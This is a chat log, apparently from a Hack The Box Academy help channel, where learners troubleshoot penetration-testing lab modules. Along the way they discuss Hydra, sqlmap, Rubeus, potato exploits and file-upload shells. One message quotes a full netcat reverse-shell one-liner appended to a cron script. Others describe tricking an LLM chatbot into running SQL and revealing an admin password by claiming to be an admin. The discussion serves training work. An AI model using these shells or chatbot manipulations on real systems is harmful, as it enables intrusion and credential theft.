[sharp notch]

try them all out see how they work

i think theres a way to see it more verbose with descriptions too not sure atm though

that powershell course took me a while to get through

[indigo mirage]

I just got it

Thanks for your support

[waxen totem]

Please don't share answers for module questions here~

[fickle sparrow]

got a question regarding the module windows fundamentals NTFS vs Shar permissions I'm using remmina to log into the server, but I can't ping with my terminal or pwnbox terminal... wtf

obvs i'm connected to the vpn and when I try to use the pwnbox the connection on my rdp is drop

@tidal cradle master, do you have any tips ?

[fathom pendant]

get-help get-childitem sometimes i find myself also reading the associated powershell documentation

[fathom pendant]

don't ping random people

it looks like, for whatever reason, there was a connection error

[fickle sparrow]

he is not random to me lol

ik lol

i mean, i want to verify if this is an issue from the htb server itself

wtf

[fathom pendant]

not all labs respond to pings, typically windows machines don't respond to pings

[fickle sparrow]

i changed to UDP to TCP and nothig

oh okok

[fathom pendant]

if you can rdp → then it's up and running

[fickle sparrow]

then how can i do the module then? if when i connected to the pwnbox the RDP connection is drop

[fathom pendant]

not sure with remmina but i know with xfreerdp there's the /timeout: option

[fickle sparrow]

i'm supposed to smbclient, but I can't do it on my own shell. So, I tried on the pwnbox and that shit is dropping the connection

[fathom pendant]

are you running the vpn on your own machine AND using the pwnbox at the same time?

if the answer is yes: don't do that

[fickle sparrow]

okok

so basically just RDP and then use the pwnbox, correct?

[fathom pendant]

no

either:

• use your own vm
• use the pwnbox
  one or the other

[fickle sparrow]

this happen when i tried to connect to the pwnbox, the rdp is drop

[fathom pendant]

sigh

do you want the short answer or the longer/technical answer as to why this is occuring

[fickle sparrow]

i can't even connect to the smb, so technical please, becuase i dont understand jack

[fathom pendant]

short answer: the vpn assigns the same internal IP address
longer/technical: because the vpn statically assigns the internal IP you encounter what's known as "network collisions" which is to say that the packets don't know where to go back to because it's trying to go to two devices that are assigned the same IP

in short: don't use the pwnbox AND your own vm at the same time

[fickle sparrow]

ok but the vpn is not even connected

[fathom pendant]

otherwise this is what to expect. Connection errors

[fathom pendant]

then how are you rdp in if you're not connected to the vpn?

[fickle sparrow]

i just log out to test if the pwnbox is able to smb

but i am getting the connection time out as well

i bet is a server issue

[fathom pendant]

well if changing the vpn region and resetting the target doesn't work. reach out to support

[hardy sundial]

hey guy, I got some troubles in this challenge: https://academy.hackthebox.com/module/113/section/1094
I do correctly following this guide but I can not gain remote code execution. Pls help me

[blissful elm]

in LOGIN BRUTE FORCIGN > Custom wordlists , htb give code hydra -L usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"
to use for solving the question but did the intentionally give teh wrong format?

coz valid ans is Short answer: The example as written is incomplete/misleading. It will trigger “Invalid target definition!” because the target/module part is in the wrong order.

What’s wrong in that line

It places IP -s PORT before the module, which uses Hydra’s generic target syntax, but then also supplies the http-post-form triple separately — mixing two different styles.

For form attacks, Hydra expects either:

Module-prefixed URL style: http-post-form://HOST:PORT followed by the "PATH:BODY:COND" triple, or

Generic host with -m specifying the triple (less common for web forms).

i waas doing the old modules question for revision , now everything was easy and i noticed that many code/script format given was wrong thats why i was spending too much time and days when i first doing the modules

[gloomy geyser]

I am also stuck here. I am not what I am missing beside that the fact I know that SQL can be executed to get the DB but not able to load file.

[hexed forge]

Did anyone elses search for the last question in the Skills Assement for Web Fuzzing take like an hour and half?

[jagged schooner]

Whoops got a little crosseyed, but I agree that the response both show 200 OK with different body message. So from my understanding, the url encoded file name input is being taken at face value instead of being parsed? Is there an option to fix this?

try to connect to rdp via GUI from srv01, not mstsc.exe, that should help

[sacred ermine]

can you check dm please?

[gloomy geyser]

You must use Burpsuite

[green cypress]

In Kerberos Attacks - Constrained Delegation Overview & Attacking from Windows, it never states why when we see the use of HTTP as the altservice when it is Constrained Delegation of www/WS01

and I couldn't find any resources, like it just states use HTTP, but why and how are we expected to know that since its www/WS01 we use altservice:http in the Rubeus query

[sacred ermine]

nope

dm if you need help, to avoid spoiling here

Don’t encode it then

Same here. Don't really understand the underlying problem here.

hello everyone i am doing
Intro to Academy's Purple Modules

To login manually go to "/login.html" page can someone explain why this happens to me please;

[autumn pilot]

You skipped the step of obtaining the valid token

[little trench]

The valid token from what i am reading is given to you in this command curl -X POST http://<Target_IP>/app/rest/users/id:1/tokens/RPC2

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="RPC2" creationTime="2024-11-13T06:55:16.176-06:00" value="eyJ0eXAiOiAiVENWMiJ9.dWRYeEc2dFM3X2VuRV9yZTJCbFpOcUloNWVV.Y2M0ODIzZGEtMTUyNy00NmY3LThiNzgtM2E0M2YzMmY0YjQ4"/> but when i put this command it shows an error this is the only step to optain the valid token only

[median gale]

Did you get it ?

[autumn pilot]

Check the creationTime, you must get a valid token before executing the other commands using the obtained token

[gloomy geyser]

Yes. The trick is to use burpsuite. The SQL execute will then allow you to capture the flag. Let me know if you really need to know where the flag is? Else I try not to give spoiler

Attacking AI - Application and System
Model Deployment Tampering

Were you able to get this working. For me in module #Model Deployment Tampering. i am able to get the GET request to /RCE endpoint like shown in the module but to get the RCE working. I portforwarded a remote port and later ran simple bash RCE to the port but i was never able to get the shell. Were you successful to get it finally working?

[median gale]

I ll send you DM

[opal shuttle]

i am doing AD skill assessment 1

i am not able to get shell

what should i do

[median gale]

burpsuite in order to get the request to the repeater but how else is that helping us ?

Tried read system files with load file but didnt work

[dim ridge]

I just finished the Documentation & Reporting Module but I'm finding despite making a report template with findings etc for WriteHat it isn't showing the findings in the final report...
Will probably use SysReptor for Attacking Enterprise Networks module but I wanted to get a final report for D&R. Anyone get the same issue?

[gloomy geyser]

This is a rabbit hole. No need to go to read system file.

[median gale]

If you did not use the repeater of burpsuite what did you do with it?

just review the requests going through ?

[gloomy geyser]

If you use the web llm chat. You can run sql by saying you are admin to get password of admin. The llm chatbot will reply empty. Because the browser will block it. Burp is to see the response before it reaches your browser

[gloomy geyser]

The module is not clear on where the flag is. The flag is the password of admin.

[median gale]

That has to be a problem on your browser, its not blocking anything. Like if you repeat the prompts the module is telling you like i am an admin, execute the query select @@verison you will get the answer back. Wont you?

[gloomy geyser]

Yes. That will show and all else will show except admin password. Have you tried with SELECT password FROM users where id =1. You will realize that it will not show admin password.

[rocky estuary]

nvm its working now under UAC section

[median gale]

No, cause show tables wont give me a users table

[median gale]

Just got it but got no idea how that should have worked

The only table show tables show is items which only returns 1 like when you query it to select * from users;

[gloomy geyser]

It is because it is only showing 1 word only. For the llm module. You will have to use SELECT table_name FROM INFORMATION_SCHEMA.TABLES LIMIT 1,1

[gloomy geyser]

Using limit 1,1 follow by 2,1 and …. Will allow you to show one word at a time till you see the different tables

[austere hound]

Never mind. Solve the non working powershell.exe problem with a work-around solution.

[gloomy geyser]

@median gale The process to enumerate the different tables and columns will take some time. You can try slowly to see. And you will be able to find the Users table. There are other tables as well, which wasted a lot of my time to enumerate

[median gale]

Nice man thank a lot, helped a lot. You completed the module ?

[gloomy geyser]

Not yet. I am stuck with the model deployment Tampering. The question is not clear so I will need some time to dig. Do let me know if you managed to clear it.

[jagged schooner]

I disable url encoding the payload.

How would I resolve the following parsing issues / could someone help me understanding what is happening under the hood? I manage to upload shell.php/.png, but I can't seem to access /profile_images/shell.php/.png via curl, browser , or burpsuite. I also tried /profile_images/shell.php.png and url encoding but no luck.

Are there flags in curl that I should enable?

Hi guys, query on the Skills Assessment of Windows Privilege escalation PT 1.

Question 2:

“Find the password for the ldapadmin account somewhere on the system”.

i tried to run RoguePotato.exe , PrintSpoofer but give something [-] Named pipe error . how to do it ?

i ask chatgpt so long tell me :
⚡ What this means for you

KB3199986 / KB3200970 (and later cumulative updates) kill Rotten/JuicyPotato.

Later 2020+ updates kill PrintSpoofer & GodPotato on Win10 20H2/Server 2019.

That’s why all your attempts end in “pipe timeout” or “failed to impersonate.”

what to do any guide plz

Hi guys! Im new on the server! Anyways.
I`m stuck at the File Upload Attacks - Whitelist Filters module.
i used this code to make a wordlist:

echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt

also I added jpeg, png.

done
done

then did a burp intruder to try and upload the php shell using the fordlist for the name:

Working Cracking Encrypted/Protected Archives

https://academy.hackthebox.com/module/147/section/1323

We go over how to tell if a zip or archive is password protected using file and a few other scenarios.

I'm curious if the file archive.zip cmd will ever mislead you and tell you it detects an archive but not that its password protected? (And if it did would it fail to extract, or leave you with a 0 byte file or something?)

and more broadly speaking whether other archive formats gzi, tar, .tar.gz will do this?

I'm working on the Module Intro to C2 Operations with Sliver, in the Assumed Breach chapter. There is only one question, but for the last 2 days RDP crashes on the target system within seconds of making a successful connection. Once it crashes, the port is no longer open and it's impossible to reconnect.

I have switched VPN servers several times, switched from UDP to TCP vpn and back again with no luck. Is there something I'm missing?

[quiet trout]

did you try connecting with your rdp client (xfree?) with udp?

er tcp?, i think thats often suggested

whichever the opposite of the default is.

@gray leaf ^

[gray leaf]

I don't think xfree supports UDP? I did try switching VPN from one to the other though

[quiet trout]

gpt is telling me the xfree default connects with tcp but you can change that with this

xfreerdp /v:target /u:user /p:pass /network:udp YMMV

i thought i had done that, apparently not. going to keep messing with it

thx bud

[shut wraith]

Hey question

Have u done the CME module?

On the assessment -- I bruted all RID usernames but the supposed correct password does not work on any of them

[quiet trout]

ah i was being silly its simple the fucking hints man...

no im no where near the CME modules yet >_<

holy kiss my ass the machine is gonna die and i cant extend it and im on my last 15 minutes or whatever

wow just got lucky it all came together

[fathom pendant]

You dont need to bypass UAC, pasta works just fine

[quiet trout]

thx @fathom pendant I thought the hint was telling me i needed to find some type of complicated bypass. i had everything i needed.

[fathom pendant]

Thats just to use mimikatz

[quiet trout]

and yes i ended up using pasta, or a dish like it.

[fathom pendant]

And the bypass is actually really simple

Just gotta launch it from the cmd terminal youre impersonating

[quiet trout]

Yeah, i already had it i just needed to keep my contexts straight i didnt realize yeah esxactly

[fathom pendant]

Instead of from the start menu

[quiet trout]

i guess there was diff groups

[fathom pendant]

At least for the one I used

[quiet trout]

yup same here

[shut wraith]

DId anyone do the CME module can help me

CME Skills Assessment

• Cannot access the interns DB (returns nothing) (could it be empty)
• Cannot enable xp_cmdshell (does not work)
• Sysadmin returns "0"

[steady mural]

Im working on the Hacking WordPress Module. Im at the part where they give you the admin user and pass so to you can put a reverse shell on. For whatever reason I can't login to the account. It just never loads. Any hints?

[shut wraith]

Do u have ur intercept on burp on

Or maybe the password is wrong

Or box is broke

Or u should refresh to check connectivity

[steady mural]

Using wpscan confirmed the password

[steady mural]

Turns out my suricata has a rule and I was blocking myself.

Hi! Someone in Model Deployment Tampering from the module "Atacking AI - Application and System"?

[ebon minnow]

im very weak with ffuf, are there more resources apart from the ffuf module in the academy?

[cloud urchin]

Not that I know of. Maybe you can glean something from their wiki: https://github.com/ffuf/ffuf/wiki

[plain summit]

Attacking Common Applications Application Discovery & Enumeration

When trying to run the -iL scopeList flag with nmap I get this error:

Failed to open input file scopeList for reading: No such file or directory (2)

[cloud urchin]

The problem is in the error message. It can't find the file you're asking it to use a file (scopeList), that file is not present in your curreng working directory.

[wooden seal]

file doesnt exist

[plain summit]

The file is in the current directory though

[cloud urchin]

i don't believe it

[plain summit]

Can I dm?

[cloud urchin]

show the results of ls

[plain summit]

Maybe I misspelled something?

But I can't send images

[cloud urchin]

just copy the terminal output

linux is case sensitive as well

[plain summit]

I'll try that

Hi guys, did anyone recently solve Pass the Certificate section Assessment of Password Attacks module ?

[quiet halo]

I was redoing the nmap module and saw the -sn flag. It's disables port scanning, I looked on nmap documentation and it says "The -sn option sends an ICMP echo request, a TCP SYN packet to port 443, a TCP ACK packet to port 80, and an ICMP timestamp request by default" isn't that a port scan?

I'm trying Attack Tuning Case5 in sqlmap's module, But when I got the flag and send, it return error

Can I show my payload about use sqlmap? or not

I'm trying to use
--dbms=mysql --batch -D testdb -T flag5 --dump --no-cast --level=5 --risk=3
and it was get a flag looks like: HTB{70X_XXXXXXXXXXXXX_17}
but when I send it to Module
It return error

[proven plinth]

I tried it myself. All I saw in Wireshark was an ARP and a DNS query

sudo nmap -sn 10.0.2.8

[quiet halo]

try it again with the --packet-trace, nmap shows TCP SYN and TCP ACK

no shut why wiresharke doesnt sh ow

[fathom pendant]

imagine trying to scan 1000 ports on a subnet

[quiet halo]

just do one host

[fathom pendant]

-sn is designed for running against subnets i.e. ip/24

[little trench]

Changing the time will it fix it i will try it;

[quiet halo]

oh yeah buty I mean just for this example

[fathom pendant]

ye

i am just meaning for the purposes of what -sn does

[quiet halo]

my question was was does it saysn -sn dosnet do port scan then it says it sends TCP SYN packet to port 443, a TCP ACK packet to port 80

[fathom pendant]

yes, but that's not necessarily a port scan

a port scan is checking a whole bunch of ports at once rather than specific ports

[proven plinth]

Hmmm... I've noticed something wierd. Trying sudoing it

Without sudo, packet trace showed it connecting to ports 80 and 443. But with sudo, its ARP and DNS

It matches what I saw in Wireshark

So somehow -sn works properly only if you sudo?

[little trench]

nope still the same issue

[late fable]

Has anyone finished it? It generates two targets, but the CA never seems to work.

[proven plinth]

I found the answer: Read this page https://nmap.org/book/man-host-discovery.html

Its behavior is consistent with what's written in the man page

[fathom pendant]

likely raw packet creation issues

[proven plinth]

Yes

[fathom pendant]

it can't create raw packets without sudo (or unless you do the setcap magic)

[proven plinth]

Learned something new today. I always sudo it so I never noticed

[fathom pendant]

ye

sudo allows for nmap to do some lower level stuff

[proven plinth]

[blazing tulip]

I was doing the module "Attacking Web Applications with FFUF", and seems something is wrong with the system, I got the URL which displays: "You don't have access!' but it says my answer is wrong

How is it possible?

use the literal word PORT

[blazing tulip]

Damn

I need treats

[blazing tulip]

It worked! Thanks 🙂

[quiet halo]

I tried with sudo but im' not seeing any arp or dns via wireshark

sudo nmap -sn 10.129.207.8 --packet-trace --reason

[stone crag]

Sorry, I got it, try a lot time to reply and use --flush-session to get the real flag

Hi everyone,

I’m stuck on Introduction to NoSQL Injection, Skills Assessment II (https://academy.hackthebox.com/module/171/section/1692). I’ve only been able to find a valid user b****, but I can’t make any progress beyond that.

Every request I try just returns “Error: Missing 'username' parameter” or “missing password” or "missing token", and I can’t seem to get past it.

I’ve read all the messages about this exercise on the forum and Discord, and I see everyone mentioning to pay attention to the (.). I understand that this refers to using dot notation ||(.$regex)|| instead of brackets ||([$regex])||, but I still can’t figure out a way to advance.

I’ve been stuck for over a day now, tried multiple approaches, and it’s really frustrating. Any guidance or hints on how to approach this would be greatly appreciated.

Thanks in advance!

[drowsy sierra]

Very first module. Coming from THM. I've started a Pwnbox but can't see my target IP. In THM it usually populates in the question. Where is it here?

I've worked it out.

just above the question should be "Click here to spawn target!"

(i was already typing out before you worked it out lol)

[drowsy sierra]

Yep, thanks. lol

[dull solar]

For the 2nd, remove the text.

For the 3rd try again, ip a | grep 1500

1st, maybe try the full path?

[dapper silo]

1: what would be the full "path"? ps /bash? 2: 6.11? 3: i cant type the | in the terminal emulator, nor can i paste it, paste anything for that matter

could it be that the emulator and everything in it got updated, but the "correct" answers are still that of the old emulator? cuz the next chapter all my seemingly right answers are also wrong

but the dump didn't work, however when i do : ||sqlmap 'link' --data='id=1' --batch --dump||
it work flawlessly why doest the ||--dbs|| and ||--tables|| breaks everything ?

[prisma wing]

Hi all, still stuck on this 'https://academy.hackthebox.com/module/80/section/781'. How would I enumerate the admin ID without manually going through them all? I've tried intruder but all ids from 0-300 give me the same response. I've tried ffuf, which is also not working. Can someone help please? the guide says to go back a check the brute force methods but none of the methods teach us on how to enumerate the id, only the usernames or passwords. I've managed to get username but unable to brute force the password. Any ideas please?

[fathom pendant]

this isn't a hacker for hire server;

Does anyone know where I am supposed to get the creds for wley from? https://academy.hackthebox.com/module/143/section/1509 I think they are from somewhere earlier in the module, but I can't find them

I got it, its from earlier. If any mod is reading this, Im not a big fan of this approach

[fathom pendant]

always save passwords, also mods aren't staff. you can drop /feedback though

/feedback goes directly to the htb staff slack

[mellow mist]

I guess, in general im a big fan, but this module is very intensive, and takes a long time. It feels mweh to have to look back for a password that does not really add anything to the current section

Thanks @fathom pendant

[fathom pendant]

consider the whole module one big AD environment you're dissecting piece by piece

[mellow mist]

Makes sense

Okay it gets worse, the password does not work... while this was the answer in a previous section

[mellow mist]

but the examples show user wley?

[fathom pendant]

some of the others use forend

[iron oriole]

Why randomly? He also was asking about this specific lab

[acoustic owl]

I think you need to adjust your settings. Currently, you are not allowing DMs from other users.

[fathom pendant]

not as of today, and in those cases as well it's best to use the reply feature instead of @ the user, this helps provide context

How do you guys know when to use the command prompt over powershell or vice versa, excuse my ignorance, but it seems that a lot of these commands overlap but some execute differently in both.

Attacking Active Directory and NTDS.dit

I'm having trouble enumerating the domain correctly.

I've tried: nmap scripts (all the usual suspects), sending an invalid domain to kerbrute and seeing if it would "correct" me with the right domain on error, rpcclient, smbclient, dig the DC for various records (axfr, NS, PTR, etc)

uncertain what im not doing right

except guessing (i even tried inlanefreight.local and .htb as a guess with no dice) . I dont think guessing is the lesson they're trying to teach here (beyond educated guessing with valid context from the usernames and such)

nvm i guess i wasnt using the right script

Hi guys, I'm working on 'Intro To Network Traffic Analysis: Interrogating Network Traffic' where I need to analyze pcap file. What will be the best way to open up this pcap file? Should I download Wireshark in my Windows 11? I'm watching a YouTube set up his Kali Linux through Remote Desktop Connection but not sure what's the best route for this lab and moving forward!

[gray yacht]

I haven't done this module, but as long as you can pull down the pcap you can view it wherever you have Wireshark, so VM, pwnbox, etc.

[quiet trout]

you absolutely need to set up your linux (kali) VM first. then you will want to explore the dump thru tcpdump, wireshark and tuishark or whatever its called, tshark? whatever. get familiarity with all of them but for SURE tcpdump AND wireshark

you might be able to get away with just installing wireshark on windows at the moment but you will absolutely need a kali vm or similar as you get deeper into security.

[formal tartan]

I think it blocks ICMP packets but you can Nmap it and you'll find opened ports so I don't think this is the problem

Best to also include the module/section/password you're on

[opal cape]

hey is it a known issue in the AEN that when we do the ping sweep on DC01 (172.16.9.3)? no host comes back alive for me. I checked the module and there is supposed to be at least one live host so that we try the SSH keys we find in the Department Share directory against that live host.

[cloud urchin]

Best to also include the module/section/password you're on

You may need to ping sweep twice to ensure the ARP tables are populated

[opal cape]

ok im trying again. Now how are we supposed to know that we have to run it twice? was this ever mentioned throught the modules?

it worked by the way

[cloud urchin]

Yes it was. It's also networking knowledge that would likely be considered pre-requisite knowledge for hacking/cpts

[opal cape]

wow ok thank you

[cloud urchin]

general is fine, maybe #red-team too, but you'll need to verify your account by following the instructions in #welcome before you can access either channel

[opal cape]

also im trying to download the ssh keys in evil-winrm but getting download failed. Im thinking its because the space between Departmen Shares: download "C:\Department Shares\IT\Private\Networking\ssmallsadm-id_rsa" /tmp/ssmallsadm-id_rsa

how do i bypass this ?

[cloud urchin]

Try single quotes or just navigate to the directory first and avoid using the download function with the full path

[opal cape]

my man!! or woman!!

[quiet halo]

How do you guys take notes? I’m over here copying almost the documentation for a single nmap flag. It takes make like 1 day to finish a single section of a module bc of the amount notes im taking

[cloud urchin]

I usually note an overview, the command, what the parameters/sytax of the commands do, a screenshot of it working, and any gotchas.

[gray leaf]

I'm still having trouble with this module. I can make an RDP connection, and in under a minute it crashes. I have tried Remmina instead of xfreerdp3 and nothing has changed. Once RDP crashes, the port is no longer open on the target.

Before RDP crashes:

I have no other options after this but to restart the target and try again. I'm on my 9th VPN change (both TCP and UDP), I've tried from Pwnbox, the target is not listening on UDP ports so trying RDP over UDP isn't an option. I'm at a loss 🙁

[jolly oasis]

I could really use some help on SQLMap Essentials > Attack Tuning > "What's the contents of table flag5? (Case #5)"
https://academy.hackthebox.com/module/58/section/526

Read the hint and was able to get a flag value, entered in the answer field and it wasn't correct. Ran the command a few times like suggested and got the same thing. Saw it was suggested to restart the target, so I did that. Re-ran my command and now there's no flag at all. Very confused.

[gray yacht]

Not sure I didn't ping sweep it.

[jolly oasis]

I reset my attack box AND the target once again and finally got the real answer.

[gray yacht]

In my notes I don't have myself using RDP to access the host, but I'll spin this up in a few and let you know what I do on my end.

[devout lily]

Hi everyone, when i use Nmap -sA flag, when do i get a filtered or unfltered port?

[gray yacht]

Actually after scrolling further through my notes, I got to a point where I checked RDP on the external target and the port wasn't open. I used netexec and the provided creds to enable RDP, verified RDP access with the creds using netexec, then didn't have any issues using RDP to access that host. Have you tried different VPN configs and locations?

[maiden bobcat]

Can I get some help please

[quiet trout]

where you at? do you know how to ask for help here?

<Link to section>
<Section Title>
<Question>

[quiet trout]

very cool im gonna have to look into this

[minor mica]

Module - Navigation- What is the index number of the "sudoers" file in the "/etc" directory? I am connected via open VPN. When I am doing the practice and pulling it up its telling me my answer is incorrect.

[quiet trout]

the index number... hmm... not sure about that one

[minor mica]

Yeah, im stuck in could pass it but I want to know

[quiet trout]

did you check inodes? is it asking about inodes was that mentioned anywhere in teh section/module?

[minor mica]

Ls -i /etc/sudoerers

That gives me the inodes which is the index

When i type that index in then it says the answer is wrong

[quiet trout]

ok ive never heard it called index before

[minor mica]

Yes, im getting annoyed lol

[quiet trout]

any difference when doing stat /etc/sudoers ?

i think they might mean something else man

[minor mica]

It gives the same thing but more detailed

[quiet trout]

right on

yeah i think they must mean something else then, hard to imagine what though

[fathom pendant]

Its the linux fundamentals module

I doubt they're connected to the spawned target: "Click here to spawn target"

Its a common confusion;
People think "spawn instance" is the target spawn

Intro to academy probably

Its the first module that loads when you create your account, but just like ToS -- people dont read that shit

[minor mica]

I figured it out I had the vpn in however I didnt log into the ssh account.

Is there a way to reset my test so I can start over since I figured why things wasn't qorking

[fathom pendant]

No

[minor mica]

Oh man

[fathom pendant]

Theres no way to reset the answers

Its a feature thats been suggested though

[minor mica]

So how can I figure out the correct answer

[fathom pendant]

? Well if it didnt accept your answer then its not locked out

As far as figuring out the correct answers: utilize the tools at your disposal

[minor mica]

Yes, my biggest issue was the most tiny the the ssh lol

[fathom pendant]

Likely a screen resolution thing then, ive never had issues (1280x720)

Actually no. 1920x1080

[quiet trout]

rock on @minor mica , its the little things (every-single-time)

[minor mica]

Yeah could be 2 40 inch wide screen and then 4 20 inch lol

Just need to get back into it.

But tha just you everyone for assisting me

[fathom pendant]

I suggest zooming in on the page (ctrl + [plus key])

[minor mica]

No its not that I didnt see it i just thought once im connected to the VPN thats all I needed to do. Lol

[worldly heron]

Doing the Service Enumeration section under the Network Enumeration with Nmap module and noticed that when I used -oA to write the output to a file, I get less information than if I don't write the output to a file. Specifically, one of the ports discovered shows more info when not writing out. Why could this be?

Using --version-trace adds the "missing" information. Was using --version-all previously

[fathom pendant]

/feedback

Not sure what's missing, tbh, output just puts the output of the scan into a format

[worldly heron]

After converting the XML to HTML and looking at the reports, can see that Debug level was 0 for "missing" info using --version-all and 1 for --trace (which had the extra info in it)

Introduction to Process Injection module within Introduction to Windows Evasion Techniques - I am getting this error?

[cloud urchin]

According to the error, a group policy is blocking it

[green cypress]

Yeah but its a Windows Antivirus bypass module pretty much, AV isn't detecting it but group policy is stopping it

copied the solution 1:1

. looks like it is to do with this

[cloud urchin]

I don't think that system is domain joined, so it could be referring to the local policy as well. You could run gpresult /h result.html and see if you can find the policy blocking it.

[cloud urchin]

Yeah you have to follow the instructions in the module or it won't work

[wooden seal]

still need assistance ;v

You need to obtain a new token, using the expired token that was shown in the output will not work

im sorry but i was doing windows fundementals and i was at the last question in skill assessement and it tells me that this sid is wrong but i dont know why

and i was wondering if anyone knows why did i put it as a wrong group or what?

[fathom pendant]

did you create another object before creating the HR group?

[gaunt goblet]

i already did it, getting this warning - WARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110)

what do you mean ?

i went in computer manegment and created a group called hr

[fathom pendant]

between creating the Jim User and Creating the HR security group, did you do something else

[gray yacht]

This is from DC01?

correct

[gray yacht]

Shouldn't be anything crazy. If you haven't already, I'd restart the env and then after it spawns, give it a couple of minutes just in case the env isn't completely spun up or configured.

[wind gust]

I did that already. I spent like an hour trying to troubleshoot then i reset the lab and same results

Hello, What host can this user access via WinRM? (just the computer name) - Active Directory Module "Privileged Access" section. I am stuck and I do not really understand why the bloodhound cypher query to look for WinRM access is not working. I cannot figure out which query allows you to view access of a specific user

[blissful tapir]

I've resolved this now. I was expecting the output to be a number. It is not.

[gray yacht]

If you've identified the user, then you just need to identify the computer name right? If it isn't in BH results, you can likely identify that information using different techniques or tools.

[terse bloom]

Can't do that using powerview and PowerShell at all for some reason. It errors out when I try different SPNs

[gray yacht]

You can DM what you are trying.

[gloomy geyser]

Finally figure it out. My own fault in missing it.

[gloomy geyser]

[mental canopy]

I just booted up that lab to check and that clock skew error on the linux host you're seeing is unintended. Without being able to install rdate or nptdate you can try sudo sntp -s <DC> The command works but I didn't have the clock skew error so I don't know if it actually solves that issue

[gloomy geyser]

Cannot follow the text blindly to go rce. You need to write a shell bash. Check HackTheBox “Ophiuchi” to see how it was executed

I will try that later 👍

can anyone tell me more about this "With this particular web application, our file went to status.inlanefreight.local\files\demo.aspx" I have never in all my days navigated to a url within my browser using two slashes. I know that this particular host is a windows machine, but its a website? Why am I having to put two slashes like im trying to access a folder on smb or something?

ah the two slashes dont show probably because its a cancellation character here. Imagine there is two slashes after local

[fathom pendant]

it's just how it's set up, that's the most simplified answer I can give

but yes, you are basically accessing a file - try with and without the double slash and you'll see that it isn't an accident

[rich obsidian]

Is there a more in depth short answer? I just kind of want to be able to recognize when I need to be using it and when I shouldn't

[fathom pendant]

there's no absolute way to know, just consider that the double slash is calling a named pipe within the system

a named pipe

[late panther]

Hello everyone, I'm new to the community and new to Hacking, I'm doing the Getting Started path and I'm in the Nibbles - Privilege Escalation section, during the tutorial when we are asked to get a reverse root shell, in the text of the section there is the following example code to get it: [nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh]
The problem is that Nibbles' machine doesn't have a sh command, it has a bash command. I realized this when I accidentally tried to update my TTY with Python 3 and I accidentally put /bin/sh instead of /bin/bash. By doing that change, I was able to get the shell as root. I spent over an hour repeating the tutorial over and over again without knowing why it failed, but it's that small detail, that is, the correct line should be:
[nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh]. Who can be notified to correct this error in the learning tutorial? Because other new HTB Academy students might also be frustrated like me by not knowing what the error was.

[hasty furnace]

Hello beautiful people , seeking for help

Im stuck on this question on my modules :
" How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)"

tried to use this command , it looks like the most correct option , and still answer is wrong

ss -l -4 | grep -v 127 | grep “LISTEN” | wc -l

what is wrong , can't figure it out ?

[proven plinth]

Imo it could be intended. There are many ways to create a reverse shell. Subject to the unique environments of each machine, some may work and others may not. Maybe the author is trying to make you understand that.

[wild sage]

Need some help trying to run the Command 'SearchUserClearTextInformation' I keep getting an error that the command is not recognized and I've tried Importing the module and bypassing policy execution. Module is Windows Attacks & Defense: Section: Credentials in Object Properties

[drifting dirge]

If you were able to make a request from Java code, I think you can create a reverse shell from there. I was having trouble executing anything from Java class.

Yes, but with existing exploit unfortunately. But it was my first experience with Metasploit, so not that bad 😀

[alpine mural]

You resolve it with Metasploit?. Good. Im gonna try do the same.

[agile anvil]

Please anyone wanna teach me to hack web applications

What you guys use for hack the box or CTF? What’s like your go to tool that helps you automate the basics like running nmap ?

nvm figured it out

[hazy grotto]

Please list the module and section you are working on

[dim needle]

yes WCVS tool gave me the X-HTTP-Method-Override can be used but response is not that header

[drifting dirge]

I guess you are trying to filter out localhost services? Well, "non 127.0.0.1" doesn't mean it listens on all interfaces.

[fathom pendant]

You should be able to find another header aswell

[teal arrow]

Question, a lot of the active directory/linux modules in the CPTS path are about exploiting services and software that are 4+ years old, how do you find and learn about more recent vulnerabilities? Are there more recent exploits in higher tier modules?

[heavy mango]

A lot of the point behind the modules is to teach concepts rather than specifics. It doesn't really matter if the vulnerability is recent or not, as long as you learn the concepts, you can apply them elsewhere as needed

[teal arrow]

Makes sense, thanks

That did the trick, appreciate it, better then having to deal with Kerberos double hop from winrm

[cobalt lava]

what is the tier system? like tier iv tier iii etc

[quiet trout]

i think the academy calls those levels if you're comparing what you get with a subscription/cubes in the description of what Level/Tiers it offers

[cobalt lava]

oh yea but i mean what do tiers even mean? since there is already a difficulty data box?

[quiet trout]

the tier/level has to do with what you have access to when you're getting a subscription i think

[cobalt lava]

ahh ty ❤️

[fathom pendant]

The tiers relate to overall complexity and depth of knowledge required to be able to complete the module

Its not really to do with subscription level

[versed saffron]

Hello, I could really use some help with the Password Attacks skills assessment.
Im not really sure how the "don't share details that could spoil anything" works as in what is allowed or not so please let me know. I did the pivot and am trying to connect to the credentials found on the initially given user's home dir but whenever i use proxychains to either run nmap (using the cheatsheet command) or connect through smb, xfreerdp, etc. it never works. Either timing out or taking forever. Any help would be greatly appreciated.

[fathom pendant]

Spoilers include anything you had to dig for, if you search this channel for "password attacks skill assessment" ive posted a general list of hints

I used ligolo-ng for my pivoting

[hollow kernel]

Do You recommend to do blodhound ad module of tier III? In the cpts

[cloud urchin]

nah

[hollow kernel]

May be to reforce aknowledge of blodhound, but may be with the ad module of cpts is enough

[versed saffron]

Perfect thanks using ligolo worked. Over sock winrm kept failing which is really unfortunate since i was not only using a pwnbox but sock is what the module's cheatsheet said to use. I think it may need to be revised because this was very frustrating to try to figure out when it wasnt related to the content itself.

[twin bronze]

Hello

[sharp notch]

is pentest in a nutshell in the cpts path?

pentester job path*

im assuming it has info inside penetrating testing process

[cloud urchin]

You can see all the modules in the path here: https://academy.hackthebox.com/path/preview/penetration-tester

Looks like no

[sharp notch]

yes im looking now trying to compare the 2

i think pentesting process has the details in there just worded diff

